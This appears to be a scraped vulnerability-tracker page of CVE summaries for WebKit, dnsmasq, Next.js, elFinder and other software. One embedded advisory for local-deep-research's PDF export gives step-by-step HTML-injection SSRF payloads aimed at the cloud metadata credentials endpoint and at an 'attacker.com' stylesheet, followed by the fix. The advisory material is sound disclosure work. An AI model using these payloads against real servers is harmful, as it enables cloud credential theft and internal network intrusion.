Use-after-free in WebKit across Apple's entire operating system ecosystem enables remote information disclosure via malicious web content. Affects iOS/iPadOS, macOS Tahoe, tvOS, visionOS, and watchOS versions prior to 26.5. The vulnerability allows network-based unauthenticated attackers to access high-value confidential information through crafted web pages, though the CVE description anomalously mentions process crash (availability impact) while the CVSS vector indicates confidentiality impact only. No public exploit identified at time of analysis. EPSS score of 0.02% (5th percentile) suggests low likelihood of imminent widespread exploitation despite the broad platform impact and network attack vector.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 7.5
HIGH PATCH This Week

Local privilege escalation in macOS allows malicious applications to modify protected filesystem areas despite system integrity protections, enabling persistent compromise of system security. Affects macOS Sequoia (prior to 15.7.7), Sonoma (prior to 14.8.7), and Tahoe (prior to 26.5). Apple fixed the vulnerability by removing the exploitable code component. Despite the CVSS vector indicating a network-based denial-of-service, the description clearly states the actual impact is unauthorized filesystem modification by local applications, suggesting a CVSS scoring inconsistency. EPSS exploitation probability is very low (0.02%, 4th percentile) with no public exploit code or CISA KEV listing identified.

Denial Of Service Apple
NVD
EPSS 0% CVSS 7.5
HIGH PATCH This Week

Use-after-free memory corruption in Apple operating systems allows high confidentiality impact through unexpected system termination. Affects iOS/iPadOS versions before 18.7.9 and 26.5, macOS Sequoia before 15.7.7, macOS Sonoma before 14.8.7, macOS Tahoe before 26.5, tvOS before 26.5, visionOS before 26.5, and watchOS before 26.5. Vendor-released patches are available across all affected platforms. EPSS score of 0.02% (7th percentile) indicates low observed exploitation probability in the wild, and no public exploit identified at time of analysis. CVSS vector indicates network-reachable attack surface with no authentication required, though the description states only 'an app' can trigger the condition, suggesting conflicting attack vector classification.

Denial Of Service Use After Free Memory Corruption +1
NVD
EPSS 0% CVSS 6.5
MEDIUM PATCH This Month

Safari on Apple platforms crashes when processing maliciously crafted web content due to a use-after-free vulnerability in memory management, resulting in denial of service. Affects iOS and iPadOS below 26.5, macOS Tahoe below 26.5, tvOS below 26.5, visionOS below 26.5, and watchOS below 26.5. Exploitation requires user interaction to visit a malicious webpage but does not allow code execution or information disclosure.

Denial Of Service Use After Free Memory Corruption +1
NVD VulDB
EPSS 0% CVSS 4.9
MEDIUM PATCH This Month

Denial-of-service in Audiobookshelf prior to version 2.32.2 allows authenticated admin users to crash the server by uploading a specially crafted ZIP file to the backup upload endpoint. The vulnerability stems from decompressing ZIP entries without size limits, enabling an attacker to craft a highly compressed archive that consumes gigabytes of memory when extracted, exhausting server resources and triggering an out-of-memory condition.

Denial Of Service
NVD GitHub
CVSS 5.0
MEDIUM PATCH This Month

{title}</title>") # ← title is not escaped if metadata: for key, value in metadata.items(): html_parts.append(f'<meta name="{key}" content="{value}">') # ← key/value are not escaped ``` **Data flow trace:** ``` User input: research.query │ ▼ research_routes.py:1321 pdf_title = research.title or research.query │ ▼ research_routes.py:1325-1326 export_report_to_memory(report_content, format, title=pdf_title) │ ▼ pdf_service.py:107 PDFService.markdown_to_pdf(markdown_content, title=pdf_title) │ ▼ pdf_service.py:137 _markdown_to_html(markdown_content, title, metadata) │ ▼ pdf_service.py:172 f"<title>{title}</title>" ← injection point, no escaping │ ▼ pdf_service.py:112 HTML(string=html_content) ← WeasyPrint renders the injected HTML ``` `research.query` is a string submitted by the user via `POST /api/start_research`, stored as-is in the database, and retrieved without any sanitization. When the user triggers `POST /api/v1/research/<research_id>/export/pdf`, this value is embedded unescaped into the HTML document processed by WeasyPrint. **Injection point 1: `<title>` tag breakout** ``` Input: </title><img src="http://169.254.169.254/latest/meta-data/" /> Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title> ``` When WeasyPrint encounters the injected `<img>` tag, it issues an HTTP GET request to the value of `src` by default. **Injection point 2: `<meta>` attribute breakout** ``` Input: " /><link rel="stylesheet" href="http://attacker.com/evil.css Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css"> ``` WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF. --- **Step 1: Log in and submit a research query containing the injection payload** ```http POST /api/start_research HTTP/1.1 Host: localhost:5000 Content-Type: application/json Cookie: session=<valid_session> { "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>", "mode": "quick", "model_provider": "OLLAMA", "model": "llama3" } ``` The response returns a `research_id`, e.g. `"aaaa-bbbb-cccc-dddd"`. **Step 2: After the research completes, trigger PDF export** ```http POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1 Host: localhost:5000 Cookie: session=<valid_session> X-CSRFToken: <csrf_token> ``` **Step 3: Intermediate HTML constructed server-side** ```html <!DOCTYPE html><html><head> <meta charset="utf-8"> <title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title> </head><body> ...report content... </body></html> ``` **Step 4: WeasyPrint issues an outbound HTTP request to the injected URL** Observed in network monitoring (e.g. `tcpdump`) or the target internal service logs: ``` GET /latest/meta-data/iam/security-credentials/ HTTP/1.1 Host: 169.254.169.254 User-Agent: WeasyPrint/... ``` **Lightweight verification (no SSRF environment required):** Set the query to: ``` </title><title>INJECTED ``` The resulting HTML will contain two `<title>` tags and the PDF document metadata title will read `INJECTED`, confirming successful injection. --- By injecting `<img src>`, `<link href>`, or `<style>@import url()` tags pointing to internal addresses, WeasyPrint will issue HTTP requests on behalf of the server during PDF generation. This allows access to: - **Cloud metadata services** (`169.254.169.254`) on AWS, GCP, or Azure - enabling theft of IAM credentials and instance identity documents. - **Internal network services** (`192.168.x.x`, `10.x.x.x`) - enabling reconnaissance and interaction with internal APIs not exposed to the internet. - **Localhost administrative interfaces** - if SSRF protections are only applied at the user-input validation layer. This is an effective bypass of the application's existing SSRF defenses in `ssrf_validator.py`, because WeasyPrint's outbound resource requests are never routed through that validator. Injected tags can prematurely close `<head>` and insert arbitrary content into `<body>`, causing WeasyPrint to render incorrectly or crash, resulting in a Denial of Service (DoS) condition for the export functionality. By injecting `<link>` or `<style>` tags that load external stylesheets, an attacker can fully control the visual content of the generated PDF, enabling report content forgery or spoofing. - All PDF export operations are affected. - The vulnerability is reachable by any authenticated user - no elevated privileges required. - Because each user operates against their own encrypted database, cross-user exploitation is not possible. However, on any shared or multi-tenant deployment, every authenticated user can independently trigger this vulnerability. --- Apply `html.escape()` to all user-controlled values before embedding them in the HTML template inside `_markdown_to_html`: ```python import html if title: html_parts.append(f"<title>{html.escape(title)}</title>") if metadata: for key, value in metadata.items(): html_parts.append( f'<meta name="{html.escape(str(key))}" content="{html.escape(str(value))}">' ) ``` Additionally, consider configuring WeasyPrint with a custom `url_fetcher` that blocks or restricts outbound HTTP requests to prevent SSRF via injected or legitimately-embedded external resources: ```python def safe_url_fetcher(url, timeout=10): from ssrf_validator import validate_url if not validate_url(url): raise ValueError(f"Blocked unsafe URL in PDF rendering: {url}") return weasyprint.default_url_fetcher(url, timeout=timeout) html_doc = HTML(string=html_content, url_fetcher=safe_url_fetcher) ``` --- *Report generated against commit `f3540fb3` - local-deep-research, branch `main`.* --- Thanks @Firebasky for the detailed report. The complete remediation spans two PRs, both merged to `main`: **#3082** (merged 2026-03-29, shipped in **v1.5.0+**) - closes the HTML-injection sinks: - `html.escape()` now wraps the `title` value in `<title>…</title>` - Same for metadata keys/values in `<meta name="…" content="…">` - Regression tests added in `tests/web/services/test_pdf_service.py` **#3613** (merged 2026-04-24, shipped in **v1.6.0**) - implements the `url_fetcher` recommendation from the Remediation section: - New `_safe_url_fetcher` in `pdf_service.py` delegates to `weasyprint.default_url_fetcher` only after `security.ssrf_validator.validate_url` accepts the URL - Blocks AWS metadata (169.254.169.254), RFC1918, loopback, and non-http(s) schemes - Covers the chained SSRF path through any URL reaching the rendered HTML - markdown body, citations, raw-HTML passthrough via Python-Markdown - Blocked URLs raise `UnsafePDFResourceURLError` (a `ValueError` subclass) so WeasyPrint skips the resource and the render continues - 8 regression tests, including an end-to-end render with `<img src="http://169.254.169.254/…">` embedded in the body **Advisory metadata:** CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N` (5.0 Moderate), CWEs **CWE-79** + **CWE-918**. **Patched in v1.6.0** - upgrade to v1.6.0 or later to receive both fixes.

XSS Denial Of Service Python +2
NVD GitHub VulDB
MEDIUM PATCH This Month

Mermaid v11.14.0 and earlier are vulnerable to a denial-of-service attack when rendering gantt charts, if they use the [`excludes` attribute](https://mermaid.js.org/syntax/gantt.html?#excludes) to exclude all dates. Example: ``` gantt excludes monday,tuesday,wednesday,thursday,friday,saturday,sunday DoS :2025-01-01, 1d ``` `mermaid.parse` is unaffected, unless you then call the `ganttDb.getTasks()` (which is called when rendering a diagram). This has been patched in: - [v11.15.0](https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.15.0) (see [faafb5d49106dd32c367f3882505f2dd625aa30e](https://github.com/mermaid-js/mermaid/commit/faafb5d49106dd32c367f3882505f2dd625aa30e)) - [v10.9.6](https://github.com/mermaid-js/mermaid/releases/tag/v10.9.6) (see [a59ea56174712ee5430dfd5bc877cb5151f501a6](https://github.com/mermaid-js/mermaid/commit/a59ea56174712ee5430dfd5bc877cb5151f501a6)) There are no workarounds available without updating to a newer version of mermaid.

Denial Of Service
NVD GitHub
EPSS 0% CVSS 5.5
MEDIUM POC This Month

Denial of service in aiwaves-cn agents up to commit e8c4e3c2d19739d3dff59e577d1c97090cc15f59 allows remote unauthenticated attackers to exhaust server resources via the recall_relevant_memories_to_working_memory function in cheshire_cat_core component, causing service unavailability. Publicly available exploit code exists (CWE-400: Uncontrolled Resource Consumption). With an CVSS score of 5.3 and EPSS exploitation probability rated 'P', this represents a moderate-severity availability threat suitable for prioritization in resource-constrained environments.

Denial Of Service
NVD VulDB GitHub
EPSS 0% CVSS 8.7
HIGH PATCH This Week

Uncontrolled Resource Consumption vulnerability in ninenines cowlib (cow_http_te module) allows Excessive Allocation. The chunked transfer-encoding parser in cow_http_te accepts an unbounded number of hex digits in the chunk-size field. Each digit causes a bignum multiplication (Len * 16 + digit), so parsing N hex digits requires O(N²) CPU work and O(N) memory. Additionally, when input is drip-fed, the parser discards the accumulated length on each partial read and restarts from zero on resumption, raising the cost to O(N³). An unauthenticated remote attacker can exploit this by sending an HTTP/1.1 request with Transfer-Encoding: chunked and a very long chunk-size hex string to cause denial of service through CPU exhaustion and memory amplification. This vulnerability is associated with program file src/cow_http_te.erl and program routines cow_http_te:stream_chunked/2, cow_http_te:chunked_len/4. This issue affects cowlib: from 0.6.0 before 2.16.1.

Denial Of Service
NVD GitHub VulDB
EPSS 0% CVSS 5.5
MEDIUM POC This Month

VectifyAI PageIndex up to commit f50e52975313c6716c02b20a119577a1929decba allows remote unauthenticated denial-of-service attacks through an infinite loop vulnerability in the PDF Table of Contents handler. The toc_transformer function in pageindex/page_index.py can be triggered remotely without authentication, causing the application to hang and become unresponsive. Public exploit code is available, increasing real-world attack likelihood.

Denial Of Service
NVD VulDB GitHub
EPSS 0% CVSS 8.1
HIGH PATCH This Week

Remote code execution and denial of service in Neat VNC library version <0.9.6 allows unauthenticated network attackers to overflow a 1024-byte stack buffer during RSA-AES security handshake. An attacker sends a crafted VNC security type 5 or 129 message with an oversized client RSA public key, triggering a stack buffer overflow in rsa_aes_send_challenge() when the server encrypts its challenge response. CVSS 8.1 (High) with network attack vector, low complexity, and no authentication required. No public exploit identified at time of analysis, though the vulnerability is trivial to trigger based on the patch diff showing a simple size validation check addition.

Buffer Overflow Denial Of Service
NVD GitHub
EPSS 0% CVSS 6.2
MEDIUM PATCH This Month

Unbounded recursion in jq 1.8.1 and earlier causes denial of service via crafted jq programs using the * operator on nested objects, resulting in process crash with segmentation fault. Local attackers can exploit this vulnerability without authentication to crash jq processes, affecting any system processing untrusted jq filter logic.

Denial Of Service Red Hat
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

Heap-based out-of-bounds read in dnsmasq DNSSEC validation allows remote unauthenticated attackers to trigger a denial of service by sending a crafted DNS packet. The vulnerability affects dnsmasq 2.93 and potentially earlier versions; CVSS 5.3 with network-based access vector indicates moderate severity. No public exploit code or active exploitation confirmed at time of analysis.

Buffer Overflow Denial Of Service Red Hat +1
NVD GitHub VulDB
EPSS 0% CVSS 7.5
HIGH PATCH This Week

Remote unauthenticated attackers can crash dnsmasq DNS servers via crafted packets exploiting DNSSEC validation logic. The vulnerability affects dnsmasq 2.93 with CVSS 7.5 (high severity). Upstream fix is available in version 2.92rel2 per NixOS packaging commits, though official vendor release status requires confirmation. No public exploit identified at time of analysis, with CERT/CC tracking (VU#471747) suggesting coordinated disclosure.

Denial Of Service Red Hat Suse
NVD GitHub VulDB
EPSS 0% CVSS 7.5
HIGH PATCH This Week

Remote attackers can instantly crash bird-lg-go frontends by sending unbounded JSON payloads to the unauthenticated /api or /telegram endpoints. The application's JSON decoder allocates memory without size limits, allowing multi-gigabyte payloads to trigger out-of-memory fatalities that force the Linux OOM Killer to terminate the daemon. Patch available in commit 0ff87024 (v1.4.5) implements a 100KB request body limit. No public exploit identified at time of analysis. CVSS 7.5 (AV:N/AC:L/PR:N/UI:N) reflects easy remote exploitation requiring no authentication, though impact is limited to availability disruption.

Denial Of Service
NVD GitHub VulDB
EPSS 0% CVSS 3.7
LOW PATCH Monitor

Cache poisoning in Next.js middleware redirect handling allows attackers to inject a malicious x-nextjs-data request header, causing middleware to replace the standard Location header with an internal x-nextjs-redirect header that browsers ignore. When deployed behind a CDN or reverse proxy that caches 3xx responses without varying on this header, a single attacker request can poison the cached redirect, resulting in denial of service for that redirect path for all subsequent visitors until cache expiration. Affects Next.js versions 12.2.0-15.5.15 and 16.0.0-16.2.4; vendor-released patches available in 15.5.16 and 16.2.5.

Denial Of Service
NVD GitHub VulDB HeroDevs
EPSS 0% CVSS 8.8
HIGH PATCH This Week

Authenticated SQL injection in elFinder's MySQL volume driver (elFinderVolumeMySQL) allows any logged-in user, including those with read-only access, to inject malicious SQL via crafted file hash parameters. The vulnerability stems from improper validation of decoded file hashes before use in SQL queries, enabling attackers to manipulate query logic through the target parameter. This affects only installations using the non-default MySQL volume driver (versions <=2.1.67); the default LocalFileSystem driver is not vulnerable. Vendor-released patch available in version 2.1.68. CVSS 8.8 with network vector and low attack complexity indicates straightforward exploitation for authenticated attackers.

Denial Of Service Information Disclosure SQLi
NVD GitHub VulDB
EPSS 0% CVSS 8.2
HIGH PATCH This Week

Prototype pollution in @rvf/set-get allows remote attackers to modify Object.prototype on Node.js servers processing form data via Remix or React Router applications. The setPath function fails to block dangerous property keys (__proto__, constructor, prototype) when flattening form submissions, enabling unauthenticated attackers to inject arbitrary properties into all JavaScript objects across the server process with a single malformed HTTP request. Working proof-of-concept code is publicly available demonstrating property injection via field names like '__proto__[polluted]'. The vulnerability affects default configurations with no special setup required - any endpoint using parseFormData or createValidator is exploitable. CVSS 8.2 High severity driven by network attack vector (AV:N), low complexity (AC:L), and no authentication requirement (PR:N), with high integrity impact from the ability to alter application logic process-wide.

Denial Of Service Node.js Prototype Pollution
NVD GitHub VulDB
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